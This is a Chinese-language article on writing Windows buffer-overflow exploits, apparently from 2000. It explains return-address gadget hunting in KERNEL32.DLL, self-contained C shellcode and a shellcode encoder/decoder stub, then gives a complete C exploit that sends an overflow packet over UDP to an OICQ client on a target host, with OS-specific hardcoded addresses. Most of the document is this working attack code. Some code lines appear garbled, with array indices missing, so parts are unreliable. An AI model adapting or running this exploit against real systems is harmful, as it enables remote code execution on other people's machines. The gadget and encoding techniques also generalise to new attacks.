天天看點

WINDOWS下的溢出程式編寫技巧

  看了些WINDOWS下的溢出程式,覺得不夠統一、完美,決定做一個相對較統一的編寫方法,試着解決了些問題。

1、JMP ESP 的問題。

   為了盡量統一,都使用KERNERL32。DLL的代碼,因為至少同一系統KERNEL32。DLL子產品裝載位址變化可能小,别的子產品可能随着安裝應用軟體的環境不同裝載位址不同,還有其子產品安裝是KERNEL32。DLL在比較前面,後面的子產品安裝位址要随前面子產品的變動而變動,是以還是決定用KERNEL32。DLL相對比較統一(就是同一系統不同版本)。解決了JMP ESP (FF E4)代碼找不到問題,增加使用PUSH ESP (54)

。。。。

RET (C3)

或者

PUSH ESP (54)

。。。。

RET 00XX (C2 XX 00) (RET NUM ,NUM最好不要太大,是以做限制 NUM=00XX)

代碼,這可以找到很多了。“。。。”為幾條不定語句,但要不影響功能的。

比如找到一處代碼就可以使用:

PUSH ESP

AND AL,08

RET 10

 選擇原則盡量使用子產品前面的可用的,因為不同版本前面的相同可能要大。因為9X與NT系統子產品裝載位址有很大差別,是以用這方法不可能統一,我看了WINNT、WIN2000竟然KERNEL32。DLL的裝載位址也不一樣,真有點。。。。具體哪個程式的溢出可以試着找那程式中的 JMP ESP,但這位址一般都是0X00XXXXXX,是以也有問題。 這是否可以在程式中先識别要攻擊系統的系統?下面程式是用宏定義。

 2、解決SHELLCODE的編寫問題。

 原來很多程式的SHELLCODE都是用先編寫好後用"\XAA\XBB"的形式寫出來,一個是不好修改,還有不好看到底是什麼SHELLCODE。是以想法是SHELLCODE和溢出程式一起編寫。這對SHELLCODE編寫稍微有點要求,這就是要求SHELLCODE代碼是可移動代碼,就是整個代碼位址移動照常運作。為了減少不相容,函數調用位址也用LOADLIBRARY和GETPROCADDRESS得到,這樣SHELLCODE就隻依靠這兩個參數。其實這兩個參數也可以在記憶體裡面找到KERNEL32。DLL子產品,再根據函數引出表自己得到位址。那樣就隻有JMP ESP位址在WINNT、WIN200、WIN9X下沒有統一了。程式中已經大緻有了SHELLCODE編寫的雛形。現在有幾個問題:

  一,确定SHELLCODE函數代碼位址,直接指定得到的是一個JMP SHELLCODE的位址,應該有方法直接得到的。

  二,SHELLCODE用C編寫編譯後往往有_CHKESP的一個調用,這可以改彙編編寫或者找到裡面的call _CHKESP的代碼用NOP填充。

 3、SHELLCODE字元往往有要求,決定對SHELLCODE編碼,前面加一小段代碼對SHELLCODE解碼,編碼為符合要求的SHELLCODE,這減輕對SHELLCODE編寫的要求。不同要求主要改寫這一小段編碼代碼。

#include <windows.h>

#include <winsock.h>

#include <stdio.h>

#define NUKEWIN2000

//#define NUKEWIN9X

#ifdef NUKEWIN2000

#define RETEIPADDR eipwin2000

#define LoadLibraryfnaddress 0x77e78023 //0x77E60000+0x00018023 LoadLibrary

#define GetProcAddressfnaddress 0x77e7564b //0X77E60000+0x0001564B GetProcAddress

#else

#ifdef NUKEWIN9X

#define RETEIPADDR eipwin9x

#define LoadLibraryfnaddress 0xbff77750 //0xbff70000+0x00007750 LoadLibrary

#define GetProcAddressfnaddress 0xbff76e28 //0xbff70000+0x00006e28 GetProcAddress

#else

#define RETEIPADDR eipwinnt

#define LoadLibraryfnaddress 0x77EE391A //0x77ED0000+0x0001391A LoadLibrary

#define GetProcAddressfnaddress 0x77eE4111 //0x77ED0000+0x00014111 GetProcAddress

#endif

#endif

#define NOPCODE 0x90

#define BUFFSIZE 0x2000

#define OICQPORT 4000

#define OICQOVERADD 7+0x41C

#define OVERADD OICQOVERADD

#define STR0 0

#define STR1 11

#define STR2 23

#define STR3 33

#define STR4 39

#define STR5 51

void shellcodefnlock();

void shellcodefn();

void cleanchkesp(char *fnadd,char *shellbuff,char *chkespadd ,int len);

int main(int argc, char **argv)

{

char *server;

char *str="user32.dll""\x0""MessageBoxA""\x0"" secuess""\x0"" OK!""\x0""msvcrtd.dll""\x0""exit""\x0";

char buff1[]="\x02\x01\x07\x00\x78\x11\x22\x33\x33\x33\x33\x33\x1f\x30\x1f\x37\x35\x1f""2000-4-10""\x1f""12:00:00""\x1f";

//0x77ed0000+0x1ddd4 kernel32.dll // push esp // and al,08 // ret 0c

char eipwinnt[] ="\xd4\xdd\xee\x77"; //0x77ed0000+0x0001ddd4

char eipwin2000[] ="\xea\x17\xe8\x77"; //0x77e60000+0x000217ea

// kernel32.dll // push esp // and al,08 // ret 0c

//0x77e2e32a user32.dll JMP ESP

char eip2win2000[] = "\x2a\xe3\xe2\x77"; //0x77df0000+0x0003e32a

char eipwin9x[] = "\xd9\x6a\xf7\xbf"; //0xbff70000+0x00006ad9

// Kernel32.dll 4.10.2184 0xbff70000+0x0006ad9

// push esp // and al,0x10; // ret 0x10;

char buff[BUFFSIZE];

char shellcodebuff[0x1000];

struct sockaddr_in s_in2,s_in3;

struct hostent *he;

char *shellcodefnadd,*chkespadd;

unsigned int sendpacketlong;

unsigned int i,j,k;

unsigned char temp;

int fd;

u_short port,port1;

SOCKET d_ip;

WSADATA wsaData;

int result= WSAStartup(MAKEWORD(1, 1), &wsaData);

if (result != 0) {

fprintf(stderr, "Your computer was not connected "

"to the Internet at the time that "

"this program was launched, or you "

"do not have a 32-bit "

"connection to the Internet.");

exit(1);

}

if(argc <2)

{

WSACleanup( );

fprintf(stderr,"\n nuke oicq .\n copy by yuange 2000.4.1. \n wellcome to my homepage http://ynhacker.com .");

fprintf(stderr, "\n usage: %s <server> [port] \n", argv[0]);

exit(1);

}

else server = argv[1];

d_ip = inet_addr(server);

if(d_ip==-1){

he = gethostbyname(server);

if(!he)

{

WSACleanup( );

printf("\n Can't get the ip of %s !\n",server);

exit(1);

}

else memcpy(&d_ip, he->h_addr, 4);

}

if(argc>2) port = atoi(argv[2]);

else port=OICQPORT;

if(port==0) port=OICQPORT;

fd = socket(AF_INET, SOCK_DGRAM,0);

i=8000;

setsockopt(fd,SOL_SOCKET,SO_RCVTIMEO,(const char *) &i,sizeof(i));

s_in2.sin_family = AF_INET;

if(argc>3) port1=atoi(argv[3]);

else port1=OICQPORT;

if(port1==0) port1=OICQPORT;

s_in2.sin_port = htons(port1);

s_in2.sin_addr.s_addr =0;

s_in3.sin_family = AF_INET;

s_in3.sin_port = htons(port);

s_in3.sin_addr.s_addr = d_ip;

bind(fd,(const struct sockaddr FAR* )&s_in2, sizeof(struct sockaddr_in));

printf("\n nuke ip: %s port %d",inet_ntoa(s_in3.sin_addr),htons(s_in3.sin_port));

memset(buff,NOPCODE,BUFFSIZE);

memcpy(buff,buff1,37);

_asm{

mov ESI,ESP

cmp ESI,ESP

}

_chkesp();

chkespadd=_chkesp;

temp=*chkespadd;

if(temp==0xe9) {

++chkespadd;

// (int *) i=(int*) *chkespadd;

_asm{

mov EDI,dword ptr [chkespadd]

mov EDI,[EDI]

mov i,EDI

}

chkespadd+=i;

chkespadd+=4;

}

shellcodefnadd=shellcodefnlock;

temp=*shellcodefnadd;

if(temp==0xe9) {

++shellcodefnadd;

// (int *) k=(int *) *shellcodefnadd;

_asm{

mov EDI,dword ptr [shellcodefnadd]

mov EDI,[EDI]

mov k,EDI

}

shellcodefnadd+=k;

shellcodefnadd+=4;

}

for(k=0;k<=0x500;++k){

if(memcmp(shellcodefnadd+k,"\x90\x90\x90\x90",4)==0) break;

}

memcpy(buff+OVERADD+0x20,shellcodefnadd+k+4,80);

shellcodefnadd=shellcodefn;

temp=*shellcodefnadd;

if(temp==0xe9) {

++shellcodefnadd;

// (int *)k=*shellcodefnadd;

_asm{

mov EDI,dword ptr [shellcodefnadd]

mov EDI,[EDI]

mov k,EDI

}

shellcodefnadd+=k;

shellcodefnadd+=4;

}

for(k=0;k<=0x1000;++k){

if(memcmp(shellcodefnadd+k,"\x90\x90\x90\x90",4)==0) break;

}

memcpy(shellcodebuff,shellcodefnadd,k); //j);

cleanchkesp(shellcodefnadd,shellcodebuff,chkespadd,k);

memcpy(shellcodebuff+k,str,0x80);

sendpacketlong=k+0x80;

for(k=0;k<=0x200;++k){

if(memcmp(buff+OVERADD+0x20+k,"\x90\x90\x90\x90",4)==0) break;

}

for(i=0;i<sendpacketlong;++i){

temp=shellcodebuff;

temp&=0xf0;

temp=temp/0x10;

temp+=0x41;

buff[OVERADD+0x20+k]=temp;

++k;

temp=shellcodebuff;

temp&=0x0f;

temp+=0x41;

buff[OVERADD+0x20+k]=temp;

++k;

}

memcpy(buff+OVERADD,RETEIPADDR,4);

sendpacketlong=OVERADD+0x20+k+0x10;

for(i=0;i<1;++i){

j=rand();

buff1[0x5]=j;

buff1[0x6]=j+1;

j=sendpacketlong;

buff[j-1]=0x03;

fprintf(stderr,"\n send packet %d bytes.",j);

sendto(fd,buff,j,0,(const struct sockaddr FAR* )&s_in3,sizeof(struct sockaddr_in));

}

closesocket(fd);

WSACleanup( );

return(0);

}

void shellcodefnlock()

{

_asm{

nop

nop

nop

nop

jmp next

getediadd: pop EDI

push EDI

pop ESI

looplock: lodsw

sub AX,0x4141

shl AL,4

xor AL,AH

stosb

cmp AH,0x10

jb looplock

jmp shell

next: call getediadd

shell: nop

nop

nop

nop

}

}

void shellcodefn()

{

// const char str[]="user32.dll""\x0""MessageBoxA""\x0""msvcrtd.dll""\x0""exit";

FARPROC procloadlib,procgetadd,procmsg,procexit;

char *stradd;

HANDLE libhandle;

procloadlib = LoadLibraryfnaddress;

procgetadd = GetProcAddressfnaddress;

_asm

{

jmp nextcall

getstradd: pop stradd

}

libhandle=procloadlib(stradd+STR0);

procmsg=procgetadd(libhandle,stradd+STR1);

procmsg(0,stradd+STR3,stradd+STR2,0);

// libhandle=procloadlib(stradd+STR6);

// opensocketadd=procgetadd(stradd+str7);

libhandle=procloadlib(stradd+STR4);

procexit =procgetadd(libhandle,stradd+STR5);

procexit(0);

_asm{

die: jmp die

nextcall: call getstradd

nop

nop

nop

nop

}

}

void cleanchkesp(char *fnadd,char *shellbuff,char * chkesp,int len)

{

int i,k;

unsigned char temp;

char *calladd;

for(i=0;i<len;++i){

temp=shellbuff;

if(temp==0xe8){

// (int *)k=*(shellbuff+i+1);

k=shellbuff+i+1;

_asm{

mov EDI,k

mov EDI,[EDI]

mov k,EDI

}

calladd=fnadd;

calladd+=k;

calladd+=i;

calladd+=5;

if(calladd==chkesp){

shellbuff=0x90;

shellbuff[i+1]=0x43; // inc ebx

shellbuff[i+2]=0x4b; // dec ebx

shellbuff[i+3]=0x43;

shellbuff[i+4]=0x4b;

}

}

}

}